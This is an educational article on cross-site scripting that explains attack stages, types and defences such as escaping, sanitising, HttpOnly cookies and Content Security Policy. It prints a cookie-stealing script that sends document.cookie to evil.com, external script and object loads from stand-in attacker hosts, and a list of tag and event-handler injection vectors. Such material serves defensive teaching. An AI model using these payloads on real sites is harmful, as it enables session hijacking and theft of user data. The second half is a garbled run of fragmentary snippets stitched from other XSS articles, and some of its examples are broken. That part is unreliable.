What is Cross-site Scripting and How Can You Fix it? (2022)

Cross-site Scripting (XSS) is a client-side code injection attack. The attacker aims to execute malicious scripts in a web browser of the victim by including malicious code in a legitimate web page or web application. The actual attack occurs when the victim visits the web page or web application that executes the malicious code. The web page or web application becomes a vehicle to deliver the malicious script to the user’s browser. Vulnerable vehicles that are commonly used for Cross-site Scripting attacks are forums, message boards, and web pages that allow comments.

A web page or web application is vulnerable to XSS if it uses unsanitized user input in the output that it generates. This user input must then be parsed by the victim’s browser. XSS attacks are possible in VBScript, ActiveX, Flash, and even CSS. However, they are most common in JavaScript, primarily because JavaScript is fundamental to most browsing experiences.

What is Cross-site Scripting and How Can You Fix it? (1)

“Isn’t Cross-site Scripting the User’s Problem?”

If an attacker can abuse an XSS vulnerability on a web page to execute arbitrary JavaScript in a user’s browser, the security of that vulnerable website or vulnerable web application and its users has been compromised. XSS is not the user’s problem like any other security vulnerability. If it is affecting your users, it affects you.

Cross-site Scripting may also be used to deface a website instead of targeting the user. The attacker can use injected scripts to change the content of the website or even redirect the browser to another web page, for example, one that contains malicious code.

What Can the Attacker Do with JavaScript?

XSS vulnerabilities are perceived as less dangerous than for example SQL Injection vulnerabilities. Consequences of the ability to execute JavaScript on a web page may not seem dire at first. Most web browsers run JavaScript in a very tightly controlled environment. JavaScript has limited access to the user’s operating system and the user’s files. However, JavaScript can still be dangerous if misused as part of malicious content:

  • Malicious JavaScript has access to all the objects that the rest of the web page has access to. This includes access to the user’s cookies. Cookies are often used to store session tokens. If an attacker can obtain a user’s session cookie, they can impersonate that user, perform actions on behalf of the user, and gain access to the user’s sensitive data.
  • JavaScript can read the browser DOM and make arbitrary modifications to it. Luckily, this is only possible within the page where JavaScript is running.
  • JavaScript can use the XMLHttpRequest object to send HTTP requests with arbitrary content to arbitrary destinations.
  • JavaScript in modern browsers can use HTML5 APIs. For example, it can gain access to the user’s geolocation, webcam, microphone, and even specific files from the user’s file system. Most of these APIs require user opt-in, but the attacker can use social engineering to go around that limitation.

The above, in combination with social engineering, allow criminals to pull off advanced attacks including cookie theft, planting trojans, keylogging, phishing, and identity theft. XSS vulnerabilities provide the perfect ground to escalate attacks to more serious ones. Cross-site Scripting can also be used in conjunction with other types of attacks, for example, Cross-Site Request Forgery (CSRF).

There are several types of Cross-site Scripting attacks: stored/persistent XSS, reflected/non-persistent XSS, and DOM-based XSS. You can read more about them in an article titled Types of XSS.

How Cross-site Scripting Works

There are two stages to a typical XSS attack:

  1. To run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject malicious code (payload) into a web page that the victim visits.
  2. After that, the victim must visit the web page with the malicious code. If the attack is directed at particular victims, the attacker can use social engineering and/or phishing to send a malicious URL to the victim.

For step one to be possible, the vulnerable website needs to directly include user input in its pages. An attacker can then insert a malicious string that will be used within the web page and treated as source code by the victim’s browser. There are also variants of XSS attacks where the attacker lures the user to visit a URL using social engineering and the payload is part of the link that the user clicks.

The following is a snippet of server-side pseudocode that is used to display the most recent comment on a web page:

print "<html>"print "<h1>Most recent comment</h1>"print database.latestCommentprint "</html>"

The above script simply takes the latest comment from a database and includes it in an HTML page. It assumes that the comment printed out consists of only text and contains no HTML tags or other code. It is vulnerable to XSS, because an attacker could submit a comment that contains a malicious payload, for example:

(Video) How To Prevent The Most Common Cross Site Scripting Attack


The web server provides the following HTML code to users that visit this web page:

<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>

When the page loads in the victim’s browser, the attacker’s malicious script executes. Most often, the victim does not realize it and is unable to prevent such an attack.

Stealing Cookies Using XSS

Criminals often use XSS to steal cookies. This allows them to impersonate the victim. The attacker can send the cookie to their own server in many ways. One of them is to execute the following client-side script in the victim’s browser:

<script>window.location="http://evil.com/?cookie=" + document.cookie</script>

The figure below illustrates a step-by-step walkthrough of a simple XSS attack.

What is Cross-site Scripting and How Can You Fix it? (2)

    1. The attacker injects a payload into the website’s database by submitting a vulnerable form with malicious JavaScript content.
    2. The victim requests the web page from the web server.
    3. The web server serves the victim’s browser the page with attacker’s payload as part of the HTML body.
    4. The victim’s browser executes the malicious script contained in the HTML body. In this case, it sends the victim’s cookie to the attacker’s server.
    5. The attacker now simply needs to extract the victim’s cookie when the HTTP request arrives at the server.
    6. The attacker can now use the victim’s stolen cookie for impersonation.

    To learn more about how XSS attacks are conducted, you can refer to an article titled A comprehensive tutorial on cross-site scripting.

    Cross-site Scripting Attack Vectors

    The following is a list of common XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. A more extensive list of XSS payload examples is maintained by the OWASP organization: XSS Filter Evasion Cheat Sheet.

    <script> tag

    The <script> tag is the most straightforward XSS payload. A script tag can reference external JavaScript code or you can embed the code within the script tag itself.

    <!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>

    JavaScript events

    JavaScript event attributes such as onload and onerror can be used in many different tags. This is a very popular XSS attack vector.

    <!-- onload attribute in the <body> tag --><body onload=alert("XSS")>

    <body> tag

    An XSS payload can be delivered inside the <body> by using event attributes (see above) or other more obscure attributes such as the background attribute.

    <!-- background attribute --><body background="javascript:alert("XSS")">

    <img> tag

    Some browsers execute JavaScript found in the <img> attributes.

    <!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!-- tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">

    <iframe> tag

    The <iframe> tag lets you embed another HTML page in the current page. An IFrame may contain JavaScript but JavaScript in the IFrame does not have access to the DOM of the parent page due to the Content Security Policy (CSP) of the browser. However, IFrames are still very effective for pulling off phishing attacks.

    <!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">

    <input> tag

    In some browsers, if the type attribute of the <input> tag is set to image, it can be manipulated to embed a script.

    <!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">

    <link> tag

    The <link> tag, which is often used to link to external style sheets, may contain a script.

    (Video) Cross-Site Scripting (XSS) Explained And Demonstrated By A Pro Hacker!

    <!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">

    <table> tag

    The background attribute of the <table> and <td> tags can be exploited to refer to a script instead of an image.

    <!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">

    <div> tag

    The <div> tag, similar to the <table> and <td> tags, can also specify a background and therefore embed a script.

    <!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">

    <object> tag

    The <object> tag can be used to include a script from an external site.

    <!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">

    Is Your Website or Web Application Vulnerable to Cross-site Scripting

    Cross-site Scripting vulnerabilities are one of the most common web application vulnerabilities. The OWASP organization (Open Web Application Security Project) lists XSS vulnerabilities in their OWASP Top 10 2017 document as the second most prevalent issue.

    Fortunately, it’s easy to test if your website or web application is vulnerable to XSS and other vulnerabilities by running an automated web scan using the Acunetix vulnerability scanner, which includes a specialized XSS scanner module. Take a demo and find out more about running XSS scans against your website or web application. An example of how you can detect blind XSS vulnerabilities with Acunetix is available in the following article: How to Detect Blind XSS Vulnerabilities.

    How to Prevent XSS

    To keep yourself safe from XSS, you must sanitize your input. Your application code should never output data received as input directly to the browser without checking it for malicious code.

    For more details, refer to the following articles: Preventing XSS Attacks and How to Prevent DOM-based Cross-site Scripting. You can also find useful information in the XSS Prevention Cheat Sheet maintained by the OWASP organization.

    How to Prevent Cross-site Scripting (XSS) – Generic Tips

    Preventing Cross-site Scripting (XSS) is not easy. Specific prevention techniques depend on the subtype of XSS vulnerability, on user input usage context, and on the programming framework. However, there are certain general strategic principles that you should follow to keep your web application safe.

    What is Cross-site Scripting and How Can You Fix it? (3)

    Step 1: Train and maintain awareness

    To keep your web application safe, everyone involved in building the web application must be aware of the risks associated with XSS vulnerabilities. You should provide suitable security training to all your developers, QA staff, DevOps, and SysAdmins. You can start by referring them to this page.

    What is Cross-site Scripting and How Can You Fix it? (4)

    Step 2: Don’t trust any user input

    Treat all user input as untrusted. Any user input that is used as part of HTML output introduces a risk of an XSS. Treat input from authenticated and/or internal users the same way that you treat public input.

    What is Cross-site Scripting and How Can You Fix it? (5)

    Step 3: Use escaping/encoding

    Use an appropriate escaping/encoding technique depending on where user input is to be used: HTML escape, JavaScript escape, CSS escape, URL escape, etc. Use existing libraries for escaping, don’t write your own unless absolutely necessary.

    What is Cross-site Scripting and How Can You Fix it? (6)

    Step 4: Sanitize HTML

    If the user input needs to contain HTML, you can’t escape/encode it because it would break valid tags. In such cases, use a trusted and verified library to parse and clean HTML. Choose the library depending on your development language, for example, HtmlSanitizer for .NET or SanitizeHelper for Ruby on Rails.

    What is Cross-site Scripting and How Can You Fix it? (7)

    Step 5: Set the HttpOnly flag

    To mitigate the consequences of a possible XSS vulnerability, set the HttpOnly flag for cookies. If you do, such cookies will not be accessible via client-side JavaScript.

    (Video) Cross-Site Scripting (XSS) Explained

    What is Cross-site Scripting and How Can You Fix it? (8)

    Step 6: Use a Content Security Policy

    To mitigate the consequences of a possible XSS vulnerability, also use a Content Security Policy (CSP). CSP is an HTTP response header that lets you declare the dynamic resources that are allowed to load depending on the request source.

    What is Cross-site Scripting and How Can You Fix it? (9)

    Step 7: Scan regularly (with Acunetix)

    XSS vulnerabilities may be introduced by your developers or through external libraries/modules/software. You should regularly scan your web applications using a web vulnerability scanner such as Acunetix. If you use Jenkins, you should install the Acunetix plugin to automatically scan every build.

    Frequently asked questions

    In a Cross-site Scripting attack (XSS), the attacker uses your vulnerable web page to deliver malicious JavaScript to your user. The user’s browser executes this malicious JavaScript on the user’s computer. Note that about one in three websites is vulnerable to Cross-site scripting.

    Learn more about the current state of web security.

    Even though a Cross-site Scripting attack happens in the user’s browser, it may affect your website or web application. For example, an attacker may use it to steal user credentials and log in to your website as that user. If that user is an administrator, the attacker gains control over your website.

    (Video) What is Cross Site Scripting?| Cross Site Scripting Attack | Cross Site Scripting Tutorial | Edureka

    See an example of a dangerous XSS attack from the past

    To discover Cross-site Scripting, you may either perform manual penetration testing or first use a vulnerability scanner. If you use a vulnerability scanner, it will save you a lot of time and money because your penetration testers can then focus on more challenging vulnerabilities.

    Find out why it’s good to scan for vulnerabilities before hiring pen testers.

    To protect against Cross-site Scripting, you must scan your website or web application regularly or at least after every chance in the code. Then, your developers must correct the code to eliminate the vulnerability. Contrary to popular opinions, web application firewalls do not protect against Cross-site Scripting, they just make the attack more difficult – the vulnerability is still there.

    See what Acunetix Premium can do for you.


    What is the solution for cross-site scripting? ›

    To keep yourself safe from XSS, you must sanitize your input. Your application code should never output data received as input directly to the browser without checking it for malicious code. For more details, refer to the following articles: Preventing XSS Attacks and How to Prevent DOM-based Cross-site Scripting.

    What is XSS and how do you prevent it? ›

    XSS is a client-side vulnerability that targets other application users, while SQL injection is a server-side vulnerability that targets the application's database. How do I prevent XSS in PHP? Filter your inputs with a whitelist of allowed characters and use type hints or type casting.

    What is meant by cross-site scripting? ›

    Cross-site Scripting (XSS) is a security vulnerability usually found in websites and/or web applications that accept user input. Examples of these include search engines, login forms, message boards and comment boxes.

    What causes cross-site scripting? ›

    Cross-Site Scripting (XSS) attacks occur when: Data enters a Web application through an untrusted source, most frequently a web request. The data is included in dynamic content that is sent to a web user without being validated for malicious content.

    Can XSS be prevented without modifying the source code? ›

    One of the most common XSS attacks is the theft of cookies (especially session ids). The HttpOnly flag was created to mitigate this threat by ensuring that Cookie values cannot be accessed by client side scripts like JavaScript. This is accomplished by simply appending " ; HttpOnly " to a cookie value.

    Which of the following is one of the most effective ways to prevent cross-site scripting XSS flaws in software applications? ›

    Which of the following is most effective to prevent Cross Site Scripting flaws in software applications? Use digital certificates to authenticate a server prior to sending data.

    What are the two primary defenses against cross-site scripting attacks? ›

    Here's the simplest explanation I could come up with, which might actually be more readable than their web page (but probably nowhere nearly as complete).
    • Specifying a charset. ...
    • HTML escaping. ...
    • Other types of escaping. ...
    • Validating URLs and CSS values. ...
    • Not allowing user-provided HTML. ...
    • Preventing DOM-based XSS.
    Jun 28, 2010

    What is the impact of XSS? ›

    XSS can have huge implications for a web application and its users. User accounts can be hijacked, credentials could be stolen, sensitive data could be exfiltrated, and lastly, access to your client computers can be obtained.

    Does encryption protect from an XSS? ›

    Websites that use SSL (https) are in no way more protected than websites that are not encrypted. The web applications work the same way as before, except the attack is taking place in an encrypted connection. XSS attacks are generally invisible to the victim.

    What do you understand by cross-site scripting explain its types with suitable example? ›

    Cross Site Scripting attack means sending and injecting malicious code or script. Malicious code is usually written with client-side programming languages such as Javascript, HTML, VBScript, Flash, etc. However, Javascript and HTML are mostly used to perform this attack. This attack can be performed in different ways.

    What methods could be used to mitigate broken access control issues? ›

    * Bypassing access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API attack tool. * Allowing the primary key to be changed to another's users record, permitting viewing or editing someone else's account. * Elevation of privilege.

    How can cross-site request forgery Csrf be prevented? ›

    How to Prevent Cross-site Request Forgery (CSRF) – Generic Tips
    • Step 1: Train and maintain awareness. ...
    • Step 2: Assess the risk. ...
    • Step 3: Use anti-CSRF tokens. ...
    • Step 4: Use SameSite cookies. ...
    • Step 5: Scan regularly (with Acunetix)

    Which of the following filtering techniques prevents all cross-site scripting XSS vulnerabilities? ›

    Which of the following filtering techniques prevents all cross-site scripting (XSS) vulnerabilities? vulnerabilities? A. Enable magic_quotes_gpc .

    What is cross-site scripting vulnerability? ›

    Cross site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.

    What is the difference between XSS and CSRF? ›

    What is the difference between XSS and CSRF? Cross-site scripting (or XSS) allows an attacker to execute arbitrary JavaScript within the browser of a victim user. Cross-site request forgery (or CSRF) allows an attacker to induce a victim user to perform actions that they do not intend to.

    It’s a common cyberattack typically targeting end users’ browsers to steal data, access accounts, etc but can also be used to deface and compromise your website.. A cross-site scripting or XSS attack is a type of injection attack.. Now that you know what it is, let’s look at how cross-site scripting works .. When a website doesn’t enforce it, threat actors can inject malicious scripts via user input entry to accomplish anything from identity theft and malware infection to wreaking havoc on the website’s pages.. STAGE 1 : Hackers identify a website with XSS vulnerabilities and user input fields.. You now know how a cross-site scripting XSS attack works , but do you know what it’s used for?. Threat actors can steal visitors’ session cookies and exploit their social media accounts.. In reflective or non-persistent XSS attacks, malicious scripts are delivered via an HTTP request and then reflected back in the target server’s HTTP response (such as search results, error messages, or other client-side inputs).. A DOM-based XSS attack exploits vulnerabilities in client-side code by modifying the DOM via unsanitized user input.. But instead of using an HTTP response to execute the malicious code, this attack executes the code entirely in the victim’s browser.. Test the input vectors to determine the impact of a vulnerability and what if any HTML characters must be removed, replaced, or filtered.. Experts must know how PHP and Java filters work to automatically remove unwanted content from input sections.. With data validation, you’ll prevent improper input in web page entry fields by refusing the request.. They inject malicious codes into websites that are executed by victims’ browsers.. Use a trusted library, validate all input data, and apply filters to prevent cross-site scripting attacks.

    Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data.. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data.. View all XSS labs You can confirm most kinds of XSS vulnerability by injecting a payload that causes your own browser to execute some arbitrary JavaScript.. https://insecure-website.com/status?message=.


    If the user visits the URL constructed by the attacker, then the attacker's script executes in the user's browser, in the context of that user's session with the application.. Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic..

    Hello, this is my message!

    The application doesn't perform any other processing of the data, so an attacker can easily send a message that attacks other users:.

    DOM-based XSS (also known as DOM XSS ) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.. You searched for: In a typical case, the input field would be populated from part of the HTTP request, such as a URL query string parameter, allowing the attacker to deliver an attack using a malicious URL, in the same manner as reflected XSS.. The actual impact of an XSS attack generally depends on the nature of the application, its functionality and data, and the status of the compromised user.. If the compromised user has elevated privileges within the application, then the impact will generally be critical, allowing the attacker to take full control of the vulnerable application and compromise all users and their data.. Manually testing for reflected and stored XSS normally involves submitting some simple unique input (such as a short alphanumeric string) into every entry point in the application, identifying every location where the submitted input is returned in HTTP responses, and testing each location individually to determine whether suitably crafted input can be used to execute arbitrary JavaScript.. XSS vulnerabilities are very common, and XSS is probably the most frequently occurring web security vulnerability.. XSS is a client-side vulnerability that targets other application users, while SQL injection is a server-side vulnerability that targets the application's database.

    In an XSS attack, an attacker uses web-pages or web applications to send malicious code and compromise users’ interactions with a vulnerable application.. Any web page or web application that enables unsanitized user input is vulnerable to an XSS attack.. DOM-based XSS is a more advanced form of XSS attack that is only possible if the web application writes data that the user provides to the DOM.. If a web application does not effectively validate input from a user and then uses the same input within the output for future users, attackers can exploit the website to send malicious code to other website visitors.. A cross-site scripting attack occurs when data is inputted into a web application via an untrusted source like a web request.. This content is typically sent to their web browser in JavaScript but could also be in the form of Flash, HTML, and other code types that browsers can execute.. Escaping and encoding techniques, HTML sanitizers, HttpOnly flags for cookies, and content security policies are crucial to mitigating the potential consequences of an XSS vulnerability being exploited.

    In this attack, the attacker injects malicious JavaScript code into the website so that the browser executes the script and performs action as commanded by the attacker in the script.. A cross-site scripting attack is a kind of attack on web applications in which attackers try to inject malicious scripts to perform malicious actions on trusted websites.. Cross-site scripting is also known as an XSS attack.. A cross-site scripting attack occurs when a web application executes a script that the attacker supplied to end users.. If web application has nothing implemented to encode input and filter malicious scripts, it will take input as it is and then print on webpage where it will be called..

    You Searched for: “>”<script>”. [/html]. There is no standard classification, but most of the experts classify XSS in these three flavors: non-persistent XSS, persistent XSS, and DOM-based XSS.. Persistent XSS is more harmful that non-persistent XSS, because the script will automatically execute whenever the user opens the page to see the content.. DOM-based XSS is also sometimes called “type-0 XSS.” It occurs when the XSS vector executes as a result of a DOM modification on a website in a user’s browser.. Sometimes, an application that properly tries to filter any malicious scripts gets confused and allows a script.. Before we start creating a XSS filter, I want to say one important thing: We can never claim to have a perfect XSS filter.. After that, it calls the filter interface to filter improper HTML attributes and XSS attacks.. If you really want to make a hard-to-crack XSS filter, study most of the available XSS vectors.

    Cross-Site Scripting (XSS) is a vulnerability that occurs when the software does not pass the input received from the user through the necessary HTML and JavaScript filters.. Unless the entries pass the required filters, if the user is also an attacker; It can run malicious code that can harm other users or directly to the system.. Since the code (potentially harmful javascript) received from the user as input is not written to the database, it is presented to the user only once by the internet browser (imagine that you click on a link address (URL) sent to you via e-mail or chat program).. Step 3: XSS code runs on the user side and connects to the server,. In this type of vulnerability, the input received from the user is the result of repeated exposure.. Step 6: Running javascript codes steal your session information and forward it to the attacker,. The attacker typed his message as if he was writing a normal message to you on the contact form and injected a javascript code under the message part.. Since it will write the codes in the message field and run it when you want to read it, it means writing lines of javascipt code, then running them to provide a socket connection to your website, and then accessing many data from your information to your database.. For example, when you block the ” in a request, then this script will be returned to the user as JavaScript and execute as code in the unsuspecting visitors’ browsers.. Server: Returns “Hello, ”. User Browser: Sees the executable script content “” in the response and executes it, performing the potentially malicious action it contains instructions to perform. then you have sent their script to the server, and the server will then “reflect” it back to you, where it will be executed by your browser.. There are three forms of XSS, usually targeting users’ browsers:. However, this is simpler for some parameters and form fields than others.

    Nevertheless, if you’re wondering what a cross site scripting attack is and how to prevent it – here we are going to discuss cross site scripting attacks.. In other words, cross-site scripting (XSS) is a type of code injection attack that targets web applications for delivering malicious client-side scripts to the user’s browser for execution.. For a cross site scripting attack to work, the targeted vulnerable website should directly input the user’s information into the web page.. In persistent (stored) and reflected cross site scripting attack, the malicious JavaScript executes as HTML code once the webpage loads.. Looking at stored cross-site scripting (another name of persistent cross site scripting) and reflected cross site scripting attacks, you can say that if the server codes are free from vulnerabilities, users would be safe from such XSS attacks.. Cross-site scripting is quite old, but cross site scripting vulnerabilities are still common on the web.. For instance, some common cross site scripting prevention techniques are:

    A cross-site scripting attack occurs when cybercriminals inject malicious scripts into the targeted website’s content, which is then included with dynamic content delivered to a victim’s browser.. As a result, the malicious scripts can access any cookies, session tokens, or other sensitive information retained by the browser and used within that site.. Cross-site scripting works by manipulating a vulnerable website so that it returns malicious scripts to users.. Depending on how the code is injected, the malicious content may not even be on the actual web page itself but rather as a transient element that only appears to be part of the website at the time of exploitation.. Tricking the victim into divulging their password to the application or other applications.. Stored cross-site scripting (Persistent XSS). An attacker typically exploits this vulnerability by injecting XSS payloads on popular pages of a site or passing a link to a victim, tricking them into viewing the page that contains the stored XSS payload.. The victim visits the page, and the payload is executed client-side by the victim’s web browser.. Attackers use malicious links, phishing emails, and other social engineering techniques to trick the victim into making a request to the server.. The reflected XSS payload is then executed in the user’s browser.. Reflected XSS is not a persistent attack, so the attacker needs to deliver the payload to each victim.. In reflected and stored cross-site scripting attacks, you can see the vulnerability payload in the response page, but in DOM-based cross-site scripting, the attack's HTML source code and response will be the same, i.e., the payload cannot be found in the response.. After that, each time the page is accessed, the HTML tag in the comment will activate a JavaScript file, which is hosted on another site and can steal visitors' session cookies.. Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the victim visit the compromised web page.. Update their website and server software to prevent future exploitation of vulnerabilities that may be targeted through an XSS attack.

    Want to know how you can Fix Cross Site Scripting Vulnerability in WordPress site and obviate future XSS attacks?. Stay connected, Here we discuss what exactly is an XSS attack, how it affects your WordPress website, its consequences, and how to prevent your WordPress site from its misadventures.. In this, the attacker tries to inject malicious code into vulnerable websites wherein once the code is successfully injected and executed it tries to steal user data in the form of session cookies which are stored in your browser and sends it to the attacker.. Once, the attacker has the cookie information he can further steal login credentials, private data and can cause massive damage to your website as well as to the user accessing your website.. Basically, Cross-site scripting is a type of hack attack directed on the WordPress Website, it’s executed in two ways:. The Best way to Fix Cross Site Scripting Vulnerability in WordPress is with the use of a Security Plugin .. And, works to Fix Cross Site Scripting Vulnerability in WordPress website.. Before we conclude here are some tips to keep your website secure and free from Cross Site Scripting Vulnerability.. Keep your WordPress site updated – As new and new vulnerabilities are detected and security patches rolled out from the WordPress team, you should be quick in updating your site with those latest releases.. Always Keep a WordPress Security Plugin – Even if your site comes under attack the Security plugin will Fix Cross Site Scripting Vulnerability in WordPress step up and prevent it from causing any further damage to your site.. Hope these steps help you in keeping your website safe from XSS attacks and help you Fix Cross Site Scripting Vulnerability in WordPress site.

    It’s a dangerous hack that accounts for over 80% of security vulnerabilities since 2007, cross-site scripting attacks can go from being a nuisance issue to becoming a significant security problem for companies that handle sensitive data.. Cross-site scripting, also known as XSS is typically found in web applications and is a vulnerability in computer security.. Originally there were two known types of XSS – stored and reflected.. Stored XSS: these attacks happen when user input from guests to the website is added to the targeted host site.. Reflected XSS: when a user’s input is returned immediately with a web application error message, search result or another response that includes most or all the input provided by the user as part of the request, without that data being made safe to render by the browser.. Currently, the two types are known as Server and Client cross-site scripting.. With server XSS all the vulnerability comes from the server’s side, and the browser is simply renders the response and applies any valid script embedded.. The origin of the data could come from the DOM or be sent from the server (page load, for example).. The source of the data could potentially originate from a request, or from a stored location on the client or server.. DOM XSS is a subsidiary of a client XSS.. The data has come somewhere from the DOM rather than the server.. Keylogging: the attacker can add a keyboard event listener to the victim’s server and then have the ability to send all the victim’s keystrokes to the attacking server.. Encoding: this avoids the user input so that the browser interprets it only as data rather than code, meaning attackers are unable to alter it.

    Application security What is a cross-site scripting vulnerability and how does an attacker carry out a cross-site scripting attack?. Cross-site scripting attacks use insecure web applications to send malicious code to users.. I’m Infosec skills author, John Wagnon, and I’m going to show you how cross-site scripting attacks work.. (0:26–1:41) Cross-site scripting attacks are a type of injection where malicious scripts are sent to trusted websites.. These attacks occur when an attacker uses a web application to send malicious code to a different end user.. It happens when an application receives data in an HTTP request, and it includes that data in the immediate response in an unsafe way.. Let’s say a user posts a status message on a vulnerable web application saying, “Hello world.” The web application will display this message on the user’s browser the way it’s intended, but if the web application, being vulnerable, doesn’t check for proper script insertion, then it could be fooled into running a malicious script that could do all kinds of bad things.. But if the application is vulnerable and doesn’t check against user input correctly, then an attacker could post something like this.. That’s why it’s important cybersecurity professionals know how cross-site scripting attacks work and how to mitigate cross-site scripting.

    Cross-site scripting (XSS) is a security flaw in web applications and websites that allows cyber attackers to inject malicious code that can interfere with a user’s web experience, lift sensitive data, and otherwise interact with the web service as if they were the victim user.. It involves placing malicious scripts into the back-end of a website so that when a user visits it, malicious code is then executed on their machine to achieve whatever the hacker wants with the attack.. However, hackers are able to bypass this restriction by using a cross-site scripting vulnerability to inject their own code onto a website, making it look like that malicious code originated from the attacked website, rather than an external source.. A visitor's browser will treat the malicious code on the site's page as legitimate source code and execute the script automatically, although the exact method of execution can vary depending on the style of attack.. Download now If the affected user has elevated privileges, such as admin rights to a website, the hacker could even launch additional attacks on the server itself, as was the case with the XSS and brute force attacks on Apache.org infrastructure in 2010.. It's also possible to use an XSS vulnerability to target a user's passwords, although this is only possible with users that have password managers that autofill data into online forms.. Given that XSS exploits could allow a hacker to gain access to admin accounts, some attacks will target the website itself.. Sometimes called persistent XSS, this style of attack involves tricking a website into storing malicious HTML requests on its database, which can then infect any user requesting access to that server.. This has given rise to the DOM-based XSS attack, which, instead of relying on server-side vulnerabilities, triggers malicious scripts inside a user's browser instead of the site server.. Hackers are able to inject malicious HTML script into a legitimate URL, which can then be sent to a user, much in the same way as a reflected XSS attack.. However, rather than sending the script to the website's server once a URL is clicked, the attack waits for a static version of a page to be returned from the server, at which point the user's browser begins to build the DOM of the page.

    Cross-site scripting is an attack performed on vulnerable web applications that manipulates the app to send malicious scripts to users.. An attacker injects a malicious script into a legitimate, trusted website to access personal data of other users, control their browser, or in severe cases, control the application itself.. When a user clicks on the URL, it is executed in the user’s browser.. This type of attack is often used to send personal data of a user back to an attacker.. When clicked on by a user, this will run the malicious script in the browser, giving the attacker the ability to act as the user, view their information, and interact with other users.. Persistent XSS Attacks Persistent XSS attacks, also known as stored XSS attacks, occur when an attacker identifies a vulnerability in a web application that allows for script injection.. The attacker is able to inject a malicious script into the web application such that, when the webpage is visited, the personal data of the user is sent back to the attacker.. This time, the attacker is trying to launch a Persistent XSS attack from the comments section of your web app.. By escaping user input, you can prevent untrusted data from being interpreted by your application in a malicious way.. In order to prevent XSS bugs, CSP will restrict the domains that the browser considers a valid source of executable scripts.. Bottom line, use automation to help ensure you ship code that is free from security bugs.

    If site B manages to make you load a page on site A containing. a script they have injected into it, that script could take the cookie for site A, and send it to site B.. Since you are logged into site. A, it uses the form data as if you yourself sent it.. The problem is that some sites forget to escape the data before putting it back into the form.. Embedding plugin content from other sites, or allowing users to do so, basically opens your site. up to cross site scripting attacks.. Check referrers If a page containing a form or link is supposed to be the only page that can send data to a server-side processing. script to request an action, then that processing page should check the referrer header to make sure that the page that. requested the action was the correct page.. With XSRF attacks, the. attacker does not know what the user's session ID is, so they will not be able to send that part of the form data.. Secure sites need to ensure that they do not make any of these mistakes, as well as not allowing XSS and XSRF attacks.


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